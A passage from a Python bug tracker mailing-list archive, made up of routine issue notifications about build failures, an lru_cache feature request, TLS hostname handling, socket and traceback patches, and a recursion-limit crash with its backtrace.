New changeset c38e10ad7c89 by Martin Panter in branch '2.7':
Issue #24363: Continue parsing HTTP header in spite of invalid lines
https://hg.python.org/cpython/rev/c38e10ad7c89

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Thu Sep 15 23:25:28 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 16 Sep 2016 03:25:28 +0000
Subject: [issue10765] Build regression from automation changes on windows
In-Reply-To: <1293146347.8.0.828425848028.issue10765@psf.upfronthosting.co.za>
Message-ID: <1473996328.31.0.035958461895.issue10765@psf.upfronthosting.co.za>


Zachary Ware added the comment:

The build system has been completely rewritten at least once since this was opened; this should no longer be a problem.

----------
resolution:  -> out of date
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue10765>
_______________________________________

From report at bugs.python.org  Thu Sep 15 23:34:55 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 03:34:55 +0000
Subject: [issue24363] httplib fails to handle semivalid HTTP headers
In-Reply-To: <1433257563.79.0.772954216205.issue24363@psf.upfronthosting.co.za>
Message-ID: <1473996895.29.0.276322500609.issue24363@psf.upfronthosting.co.za>


Martin Panter added the comment:

I pushed my Py 2 patch, since it is simpler and does not interfere with other modules. But it would still be good to get feedback on policy-flag.patch for Python 3.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24363>
_______________________________________

From report at bugs.python.org  Fri Sep 16 00:14:36 2016
From: report at bugs.python.org (Mariatta Wijaya)
Date: Fri, 16 Sep 2016 04:14:36 +0000
Subject: [issue26149] Suggest PyCharm Community as an editor for Unix platforms
In-Reply-To: <1453153728.95.0.733172914649.issue26149@psf.upfronthosting.co.za>
Message-ID: <1473999276.96.0.893978999769.issue26149@psf.upfronthosting.co.za>


Mariatta Wijaya added the comment:

Mention Pycharm community edition, and provide link to the wiki

----------
keywords: +patch
nosy: +Mariatta Wijaya
Added file: http://bugs.python.org/file44686/docupdate.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26149>
_______________________________________

From report at bugs.python.org  Fri Sep 16 00:33:02 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 04:33:02 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <1474000382.38.0.0446559595976.issue28176@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:19:16 2016
From: report at bugs.python.org (David)
Date: Fri, 16 Sep 2016 05:19:16 +0000
Subject: [issue28177] Compilation failure on Debian 4
Message-ID: <1474003156.38.0.668248392552.issue28177@psf.upfronthosting.co.za>


New submission from David:

Hi there.

On Debian 4, while running 'make' against a downloaded and extracted Python-3.6.0b1.tar.xz, I get this error:

====================
gcc -pthread -c -fno-strict-aliasing -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers   -I. -IInclude -I./Include    -DPy_BUILD_CORE \
              -DHGVERSION="\"`LC_ALL=C `\"" \
              -DHGTAG="\"`LC_ALL=C `\"" \
              -DHGBRANCH="\"`LC_ALL=C `\"" \
              -o Modules/getbuildinfo.o ./Modules/getbuildinfo.c
gcc -pthread -c -fno-strict-aliasing -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers   -I. -IInclude -I./Include    -DPy_BUILD_CORE -o Programs/_freeze_importlib.o Programs/_freeze_importlib.c
gcc -pthread   -o Programs/_freeze_importlib Programs/_freeze_importlib.o Modules/getbuildinfo.o Parser/acceler.o Parser/grammar1.o Parser/listnode.o Parser/node.o Parser/parser.o Parser/bitset.o Parser/metagrammar.o Parser/firstsets.o Parser/grammar.o Parser/pgen.o Parser/myreadline.o Parser/parsetok.o Parser/tokenizer.o Objects/abstract.o Objects/accu.o Objects/boolobject.o Objects/bytes_methods.o Objects/bytearrayobject.o Objects/bytesobject.o Objects/cellobject.o Objects/classobject.o Objects/codeobject.o Objects/complexobject.o Objects/descrobject.o Objects/enumobject.o Objects/exceptions.o Objects/genobject.o Objects/fileobject.o Objects/floatobject.o Objects/frameobject.o Objects/funcobject.o Objects/iterobject.o Objects/listobject.o Objects/longobject.o Objects/dictobject.o Objects/odictobject.o Objects/memoryobject.o Objects/methodobject.o Objects/moduleobject.o Objects/namespaceobject.o Objects/object.o Objects/obmalloc.o Objects/capsule.o Objects/rangeobject.o Objects/setobject.o Objects/sliceobject.o Objects/structseq.o Objects/tupleobject.o Objects/typeobject.o Objects/unicodeobject.o Objects/unicodectype.o Objects/weakrefobject.o Python/_warnings.o Python/Python-ast.o Python/asdl.o Python/ast.o Python/bltinmodule.o Python/ceval.o Python/compile.o Python/codecs.o Python/dynamic_annotations.o Python/dtrace_stubs.o Python/errors.o Python/frozenmain.o Python/future.o Python/getargs.o Python/getcompiler.o Python/getcopyright.o Python/getplatform.o Python/getversion.o Python/graminit.o Python/import.o Python/importdl.o Python/marshal.o Python/modsupport.o Python/mystrtoul.o Python/mysnprintf.o Python/peephole.o Python/pyarena.o Python/pyctype.o Python/pyfpe.o Python/pyhash.o Python/pylifecycle.o Python/pymath.o Python/pystate.o Python/pythonrun.o Python/pytime.o Python/random.o Python/structmember.o Python/symtable.o Python/sysmodule.o Python/traceback.o Python/getopt.o Python/pystrcmp.o Python/pystrtod.o Python/pystrhex.o Python/dtoa.o Python/formatter_unicode.o Python/fileutils.o Python/dynload_shlib.o   Python/thread.o  Modules/config.o Modules/getpath.o Modules/main.o Modules/gcmodule.o Modules/_threadmodule.o  Modules/posixmodule.o  Modules/errnomodule.o  Modules/pwdmodule.o  Modules/_sre.o  Modules/_codecsmodule.o  Modules/_weakref.o  Modules/_functoolsmodule.o  Modules/_operator.o  Modules/_collectionsmodule.o  Modules/itertoolsmodule.o  Modules/atexitmodule.o  Modules/signalmodule.o  Modules/_stat.o  Modules/timemodule.o  Modules/_localemodule.o  Modules/_iomodule.o Modules/iobase.o Modules/fileio.o Modules/bytesio.o Modules/bufferedio.o Modules/textio.o Modules/stringio.o  Modules/zipimport.o  Modules/faulthandler.o  Modules/_tracemalloc.o Modules/hashtable.o  Modules/symtablemodule.o  Modules/xxsubtype.o -lpthread -ldl  -lutil -lrt   -lm  
Python/dtrace_stubs.o: In function `PyDTrace_LINE':
Include/pydtrace.h:28: multiple definition of `PyDTrace_LINE'
Python/ceval.o:Include/pydtrace.h:28: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_ENTRY':
Include/pydtrace.h:29: multiple definition of `PyDTrace_FUNCTION_ENTRY'
Python/ceval.o:Include/pydtrace.h:29: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_RETURN':
Include/pydtrace.h:30: multiple definition of `PyDTrace_FUNCTION_RETURN'
Python/ceval.o:Include/pydtrace.h:30: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_START':
Include/pydtrace.h:31: multiple definition of `PyDTrace_GC_START'
Python/ceval.o:Include/pydtrace.h:31: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_DONE':
Include/pydtrace.h:32: multiple definition of `PyDTrace_GC_DONE'
Python/ceval.o:Include/pydtrace.h:32: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_START':
Include/pydtrace.h:33: multiple definition of `PyDTrace_INSTANCE_NEW_START'
Python/ceval.o:Include/pydtrace.h:33: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_DONE':
Include/pydtrace.h:34: multiple definition of `PyDTrace_INSTANCE_NEW_DONE'
Python/ceval.o:Include/pydtrace.h:34: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_START':
Include/pydtrace.h:35: multiple definition of `PyDTrace_INSTANCE_DELETE_START'
Python/ceval.o:Include/pydtrace.h:35: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_DONE':
Include/pydtrace.h:36: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE'
Python/ceval.o:Include/pydtrace.h:36: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_LINE_ENABLED':
Include/pydtrace.h:38: multiple definition of `PyDTrace_LINE_ENABLED'
Python/ceval.o:Include/pydtrace.h:38: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_ENTRY_ENABLED':
Include/pydtrace.h:39: multiple definition of `PyDTrace_FUNCTION_ENTRY_ENABLED'
Python/ceval.o:Include/pydtrace.h:39: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_FUNCTION_RETURN_ENABLED':
Include/pydtrace.h:40: multiple definition of `PyDTrace_FUNCTION_RETURN_ENABLED'
Python/ceval.o:Include/pydtrace.h:40: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_START_ENABLED':
Include/pydtrace.h:41: multiple definition of `PyDTrace_GC_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:41: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_GC_DONE_ENABLED':
Include/pydtrace.h:42: multiple definition of `PyDTrace_GC_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:42: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_START_ENABLED':
Include/pydtrace.h:43: multiple definition of `PyDTrace_INSTANCE_NEW_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:43: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_NEW_DONE_ENABLED':
Include/pydtrace.h:44: multiple definition of `PyDTrace_INSTANCE_NEW_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:44: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_START_ENABLED':
Include/pydtrace.h:45: multiple definition of `PyDTrace_INSTANCE_DELETE_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:45: first defined here
Python/dtrace_stubs.o: In function `PyDTrace_INSTANCE_DELETE_DONE_ENABLED':
Include/pydtrace.h:46: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:46: first defined here
Modules/gcmodule.o: In function `PyDTrace_LINE':
Include/pydtrace.h:28: multiple definition of `PyDTrace_LINE'
Python/ceval.o:Include/pydtrace.h:28: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_ENTRY':
Include/pydtrace.h:29: multiple definition of `PyDTrace_FUNCTION_ENTRY'
Python/ceval.o:Include/pydtrace.h:29: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_RETURN':
Include/pydtrace.h:30: multiple definition of `PyDTrace_FUNCTION_RETURN'
Python/ceval.o:Include/pydtrace.h:30: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_START':
Include/pydtrace.h:31: multiple definition of `PyDTrace_GC_START'
Python/ceval.o:Include/pydtrace.h:31: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_DONE':
Include/pydtrace.h:32: multiple definition of `PyDTrace_GC_DONE'
Python/ceval.o:Include/pydtrace.h:32: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_START':
Include/pydtrace.h:33: multiple definition of `PyDTrace_INSTANCE_NEW_START'
Python/ceval.o:Include/pydtrace.h:33: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_DONE':
Include/pydtrace.h:34: multiple definition of `PyDTrace_INSTANCE_NEW_DONE'
Python/ceval.o:Include/pydtrace.h:34: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_START':
Include/pydtrace.h:35: multiple definition of `PyDTrace_INSTANCE_DELETE_START'
Python/ceval.o:Include/pydtrace.h:35: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_DONE':
Include/pydtrace.h:36: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE'
Python/ceval.o:Include/pydtrace.h:36: first defined here
Modules/gcmodule.o: In function `PyDTrace_LINE_ENABLED':
Include/pydtrace.h:38: multiple definition of `PyDTrace_LINE_ENABLED'
Python/ceval.o:Include/pydtrace.h:38: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_ENTRY_ENABLED':
Include/pydtrace.h:39: multiple definition of `PyDTrace_FUNCTION_ENTRY_ENABLED'
Python/ceval.o:Include/pydtrace.h:39: first defined here
Modules/gcmodule.o: In function `PyDTrace_FUNCTION_RETURN_ENABLED':
Include/pydtrace.h:40: multiple definition of `PyDTrace_FUNCTION_RETURN_ENABLED'
Python/ceval.o:Include/pydtrace.h:40: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_START_ENABLED':
Include/pydtrace.h:41: multiple definition of `PyDTrace_GC_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:41: first defined here
Modules/gcmodule.o: In function `PyDTrace_GC_DONE_ENABLED':
Include/pydtrace.h:42: multiple definition of `PyDTrace_GC_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:42: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_START_ENABLED':
Include/pydtrace.h:43: multiple definition of `PyDTrace_INSTANCE_NEW_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:43: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_NEW_DONE_ENABLED':
Include/pydtrace.h:44: multiple definition of `PyDTrace_INSTANCE_NEW_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:44: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_START_ENABLED':
Include/pydtrace.h:45: multiple definition of `PyDTrace_INSTANCE_DELETE_START_ENABLED'
Python/ceval.o:Include/pydtrace.h:45: first defined here
Modules/gcmodule.o: In function `PyDTrace_INSTANCE_DELETE_DONE_ENABLED':
Include/pydtrace.h:46: multiple definition of `PyDTrace_INSTANCE_DELETE_DONE_ENABLED'
Python/ceval.o:Include/pydtrace.h:46: first defined here
collect2: ld returned 1 exit status
make: *** [Programs/_freeze_importlib] Error 1
====================

Please check?

----------
components: Build
messages: 276674
nosy: wizzardx
priority: normal
severity: normal
status: open
title: Compilation failure on Debian 4
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:20:12 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Fri, 16 Sep 2016 05:20:12 +0000
Subject: [issue28177] Compilation failure on Debian 4
In-Reply-To: <1474003156.38.0.668248392552.issue28177@psf.upfronthosting.co.za>
Message-ID: <1474003212.03.0.878770350454.issue28177@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

We don't support GCC versions < 4.3 anymore.

----------
nosy: +benjamin.peterson
resolution:  -> wont fix
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:21:58 2016
From: report at bugs.python.org (David)
Date: Fri, 16 Sep 2016 05:21:58 +0000
Subject: [issue28177] Compilation failure on Debian 4
In-Reply-To: <1474003212.03.0.878770350454.issue28177@psf.upfronthosting.co.za>
Message-ID: <CAKqfKYRGWb98nw3BporHT7+vGJP46B=m877sdrrx33hfM-GSrA@mail.gmail.com>


David added the comment:

Thanks.

What is the last official version of Python which does support GCC versions
< 4.3 ?

On Fri, Sep 16, 2016 at 7:20 AM, Benjamin Peterson <report at bugs.python.org>
wrote:

>
> Benjamin Peterson added the comment:
>
> We don't support GCC versions < 4.3 anymore.
>
> ----------
> nosy: +benjamin.peterson
> resolution:  -> wont fix
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28177>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:22:24 2016
From: report at bugs.python.org (Benjamin Peterson)
Date: Fri, 16 Sep 2016 05:22:24 +0000
Subject: [issue28177] Compilation failure on Debian 4
In-Reply-To: <CAKqfKYRGWb98nw3BporHT7+vGJP46B=m877sdrrx33hfM-GSrA@mail.gmail.com>
Message-ID: <1474003341.374598.727456833.742CB788@webmail.messagingengine.com>


Benjamin Peterson added the comment:

3.5 probably works.

On Thu, Sep 15, 2016, at 22:21, David wrote:
> 
> David added the comment:
> 
> Thanks.
> 
> What is the last official version of Python which does support GCC
> versions
> < 4.3 ?
> 
> On Fri, Sep 16, 2016 at 7:20 AM, Benjamin Peterson
> <report at bugs.python.org>
> wrote:
> 
> >
> > Benjamin Peterson added the comment:
> >
> > We don't support GCC versions < 4.3 anymore.
> >
> > ----------
> > nosy: +benjamin.peterson
> > resolution:  -> wont fix
> > status: open -> closed
> >
> > _______________________________________
> > Python tracker <report at bugs.python.org>
> > <http://bugs.python.org/issue28177>
> > _______________________________________
> >
> 
> ----------
> 
> _______________________________________
> Python tracker <report at bugs.python.org>
> <http://bugs.python.org/issue28177>
> _______________________________________

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:26:18 2016
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 16 Sep 2016 05:26:18 +0000
Subject: [issue28177] Compilation failure on Debian 4
In-Reply-To: <1474003156.38.0.668248392552.issue28177@psf.upfronthosting.co.za>
Message-ID: <1474003578.92.0.962946771223.issue28177@psf.upfronthosting.co.za>


Changes by Zachary Ware <zachary.ware at gmail.com>:


----------
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 01:44:51 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 05:44:51 +0000
Subject: [issue28177] Compilation failure on Debian 4
In-Reply-To: <1474003156.38.0.668248392552.issue28177@psf.upfronthosting.co.za>
Message-ID: <1474004691.26.0.888513169352.issue28177@psf.upfronthosting.co.za>


Martin Panter added the comment:

For the record, there is more discussion of this in Issue 28092

----------
nosy: +martin.panter
superseder:  -> Build failure for 3.6 on Centos 5.11

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28177>
_______________________________________

From report at bugs.python.org  Fri Sep 16 03:14:13 2016
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 16 Sep 2016 07:14:13 +0000
Subject: [issue27348] traceback (and threading) drops exception message
In-Reply-To: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za>
Message-ID: <1474010053.57.0.641600324587.issue27348@psf.upfronthosting.co.za>


STINNER Victor added the comment:

"Issue #27348: In the traceback module, restore the formatting of exception messages like "Exception: None".  This fixes a regression introduced in 3.5a2."

Humn, if it is described as a regression, it means that it's a bug no? You plan to push the change into Python 3.5, 3.6 and 3.7, right?

none-message.patch: LGTM.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27348>
_______________________________________

From report at bugs.python.org  Fri Sep 16 03:17:46 2016
From: report at bugs.python.org (=?utf-8?q?S=C3=A9bastien_de_Menten?=)
Date: Fri, 16 Sep 2016 07:17:46 +0000
Subject: [issue28178] allow to cache_clear(some_key) in lru_cache
Message-ID: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>


New submission from S?bastien de Menten:

It would be useful to be able to clear a single item in the cache of a lru_cache decorated function.

Currently with:

@lru_cache
def foo(i):
  return i*2
foo(1)    # -> add 1 as key in the cache
foo(2)    # -> add 2 as key in the cache
foo.clear_cache() # -> this clears the whole cache
foo.clear_cache(1) # -> this would clear the cache entry for 1

----------
components: Library (Lib)
messages: 276680
nosy: S?bastien de Menten
priority: normal
severity: normal
status: open
title: allow to cache_clear(some_key) in lru_cache
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Fri Sep 16 03:24:14 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 16 Sep 2016 07:24:14 +0000
Subject: [issue28123] _PyDict_GetItem_KnownHash ignores DKIX_ERROR return
In-Reply-To: <1473760278.9.0.335020145509.issue28123@psf.upfronthosting.co.za>
Message-ID: <1474010654.77.0.721096312675.issue28123@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

Yes, ignoring exceptions is due to historical reasons. Although it's used rarely but I am still afraid changing it may break knowledge of devs that are already familiar with dict APIs. And what's more is there already exists two versions of getitem, one version with no exceptions and one version propagates exceptions (witherror), maybe we can also introduce a _PyDict_GetItem_KnownHashWithError?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28123>
_______________________________________

From report at bugs.python.org  Fri Sep 16 03:56:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 16 Sep 2016 07:56:48 +0000
Subject: [issue27391] server_hostname should only be required when checking
 host names
In-Reply-To: <1466955837.8.0.0746303655033.issue27391@psf.upfronthosting.co.za>
Message-ID: <1474012608.45.0.103031924736.issue27391@psf.upfronthosting.co.za>


Christian Heimes added the comment:

You are still ignoring my remarks about TLS SNI. :)

Python uses server_hostname for two different but related parts of the TLS/SSL.

1) When server_hostname is set, the client sends the hostname to the server during the TLS handshake in the ClientHello message. [1] Without a TLS SNI extension your client may talk to the wrong service. TLS SNI not limited to HTTPS, although HTTPS virtual hosting is the biggest user of SNI. You should only omit the argument if you directly connect to an IP address.

2) Python uses server_hostname to verify that the certificate matches the hostname. Hostname matching can be disabled with a custom SSLContext that has check hostname disabled.
[1] https://en.wikipedia.org/wiki/Server_Name_Indication

server_hostname='' should not bypass hostname verification. That's a bug.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27391>
_______________________________________

From report at bugs.python.org  Fri Sep 16 04:28:17 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 16 Sep 2016 08:28:17 +0000
Subject: [issue27348] traceback (and threading) drops exception message
In-Reply-To: <1466261856.58.0.470780414166.issue27348@psf.upfronthosting.co.za>
Message-ID: <1474014497.27.0.925618065748.issue27348@psf.upfronthosting.co.za>


Martin Panter added the comment:

Yes, a bug fix for 3.5+.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27348>
_______________________________________

From report at bugs.python.org  Fri Sep 16 04:44:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 16 Sep 2016 08:44:32 +0000
Subject: [issue28134] socket.socket(fileno=fd) does not work as documented
In-Reply-To: <1473794011.65.0.923929152137.issue28134@psf.upfronthosting.co.za>
Message-ID: <1474015472.92.0.579688232858.issue28134@psf.upfronthosting.co.za>


Christian Heimes added the comment:

How about we fix the code and only document the limitations instead? :) After all it works fine on Windows and it is documented to work on all operating systems. Since it's a bug we can fix it in 3.5, too.

My patch implements a best-effort to get type, family and proto from the socket. It ignores any errors.

----------
keywords: +patch
Added file: http://bugs.python.org/file44687/sock_initobj_types.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28134>
_______________________________________

From report at bugs.python.org  Fri Sep 16 04:59:32 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 08:59:32 +0000
Subject: [issue28178] allow to cache_clear(some_key) in lru_cache
In-Reply-To: <1474010266.85.0.645671097891.issue28178@psf.upfronthosting.co.za>
Message-ID: <1474016372.62.0.764478804914.issue28178@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Method with name clear() usually removes all content. It would be better to use different name: remove() or invalidate() (is there a precedence in other caches?).

----------
nosy: +ncoghlan, rhettinger, serhiy.storchaka
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28178>
_______________________________________

From report at bugs.python.org  Fri Sep 16 05:22:18 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 16 Sep 2016 09:22:18 +0000
Subject: [issue28179] Segfault in test_recursionlimit_fatalerror
Message-ID: <1474017738.64.0.366816916836.issue28179@psf.upfronthosting.co.za>


New submission from Berker Peksag:

This is a follow-up from msg275748 in issue 27213 (Rework CALL_FUNCTION* opcodes). I believe the test_runpy failure I mentioned there is also the same error, but this one can be reproduced easily.

test_recursionlimit_fatalerror in SysModuleTest (Lib/test/test_sys.py) segfaults on Ubuntu 12.04 (64-bit) with GCC 4.6.3. I compiled Python with the following commands:

    $ make distclean
    $ ./configure --with-pydebug
    $ make -s -j

To reproduce it, run (adapted from the test)

    import sys

    def f():
        try:
            f()
        except RecursionError:
            f()

    sys.setrecursionlimit(10)

    f()

I tried with different values like 50, 10, 1000 and the behavior is same.

In case it helps, here is the start of the backtrace:

#2  0x00000000004242fa in Py_FatalError (msg=0x6e0990 "Cannot recover from stack overflow.") at Python/pylifecycle.c:1457
#3  0x00000000005b6bf8 in _Py_CheckRecursiveCall (where=0x6ac0c8 " while calling a Python object") at Python/ceval.c:651
#4  0x000000000045d701 in _PyObject_FastCallDict (func=<built-in method flush of _io.TextIOWrapper object at remote 0x7ffff6607580>, args=0x0, nargs=0, kwargs=0x0) at Objects/abstract.c:2292
#5  0x000000000045e4e9 in callmethod (func=<built-in method flush of _io.TextIOWrapper object at remote 0x7ffff6607580>, format=0x0, va=0x7ffffff36eb0, is_size_t=0) at Objects/abstract.c:2569
#6  0x000000000045e872 in _PyObject_CallMethodId (o=<_io.TextIOWrapper at remote 0x7ffff6607580>, name=0x94c030, format=0x0) at Objects/abstract.c:2626
#7  0x0000000000421ceb in flush_std_files () at Python/pylifecycle.c:515
#8  0x00000000004242f2 in Py_FatalError (msg=0x6e0990 "Cannot recover from stack overflow.") at Python/pylifecycle.c:1436
#9  0x00000000005b6bf8 in _Py_CheckRecursiveCall (where=0x6e09db "") at Python/ceval.c:651
#10 0x00000000005b6f3c in _PyEval_EvalFrameDefault (f=Frame 0xabf4a8, for file a.py, line 3, in f (), throwflag=0) at Python/ceval.c:1003
#11 0x00000000005b6d88 in PyEval_EvalFrameEx (f=Frame 0xabf4a8, for file a.py, line 3, in f (), throwflag=0) at Python/ceval.c:718
Python Exception <class 'gdb.error'> There is no member named dk_entries.:
#12 0x00000000005d4b85 in _PyFunction_FastCall (co=0x7ffff65731c0, args=0xabf3e8, nargs=0, globals=) at Python/ceval.c:4845
#13 0x00000000005d4d7a in fast_function (func=<function at remote 0x7ffff6496338>, stack=0xabf3e8, nargs=0, kwnames=0x0) at Python/ceval.c:4880
#14 0x00000000005d4841 in call_function (pp_stack=0x7ffffff39030, oparg=0, kwnames=0x0) at Python/ceval.c:4784
#15 0x00000000005cc464 in _PyEval_EvalFrameDefault (f=Frame 0xabf258, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:3250
#16 0x00000000005b6d88 in PyEval_EvalFrameEx (f=Frame 0xabf258, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:718
Python Exception <class 'gdb.error'> There is no member named dk_entries.: 
#17 0x00000000005d4b85 in _PyFunction_FastCall (co=0x7ffff65731c0, args=0xabf198, nargs=0, globals=) at Python/ceval.c:4845
#18 0x00000000005d4d7a in fast_function (func=<function at remote 0x7ffff6496338>, stack=0xabf198, nargs=0, kwnames=0x0) at Python/ceval.c:4880
#19 0x00000000005d4841 in call_function (pp_stack=0x7ffffff3afa0, oparg=0, kwnames=0x0) at Python/ceval.c:4784
#20 0x00000000005cc464 in _PyEval_EvalFrameDefault (f=Frame 0xabf008, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:3250
#21 0x00000000005b6d88 in PyEval_EvalFrameEx (f=Frame 0xabf008, for file a.py, line 5, in f (), throwflag=0) at Python/ceval.c:718

----------
components: Interpreter Core
messages: 276686
nosy: berker.peksag, haypo, serhiy.storchaka
priority: normal
severity: normal
stage: needs patch
status: open
title: Segfault in test_recursionlimit_fatalerror
type: crash
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28179>
_______________________________________

From report at bugs.python.org  Fri Sep 16 05:28:38 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 16 Sep 2016 09:28:38 +0000
Subject: [issue28139] Misleading Indentation in C source code
In-Reply-To: <1473814166.19.0.411912100522.issue28139@psf.upfronthosting.co.za>
Message-ID: <1474018118.03.0.28722223227.issue28139@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

In general LGTM. This is not cosmetic change, this fixes readability of the sources. But I left few comments on Rietveld.

----------
assignee:  -> martin.panter
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28139>
_______________________________________

From report at bugs.python.org  Fri Sep 16 05:30:50 2016
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Fri, 16 Sep 2016 09:30:50 +0000
Subject: [issue26050] Add new StreamReader.readuntil() method
In-Reply-To: <1452285476.14.0.419432816204.issue26050@psf.upfronthosting.co.za>
Message-ID: <1474018250.72.0.97133829986.issue26050@psf.upfronthosting.co.za>


???? ????????? added the comment:

It needs to compare python functoin(s) docstrings with  separate documentation. All information from docstrings should also be written in separate docs. Will compare later.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26050>
_______________________________________

From report at bugs.python.org  Fri Sep 16 05:42:11 2016
From: report at bugs.python.org (Berker Peksag)
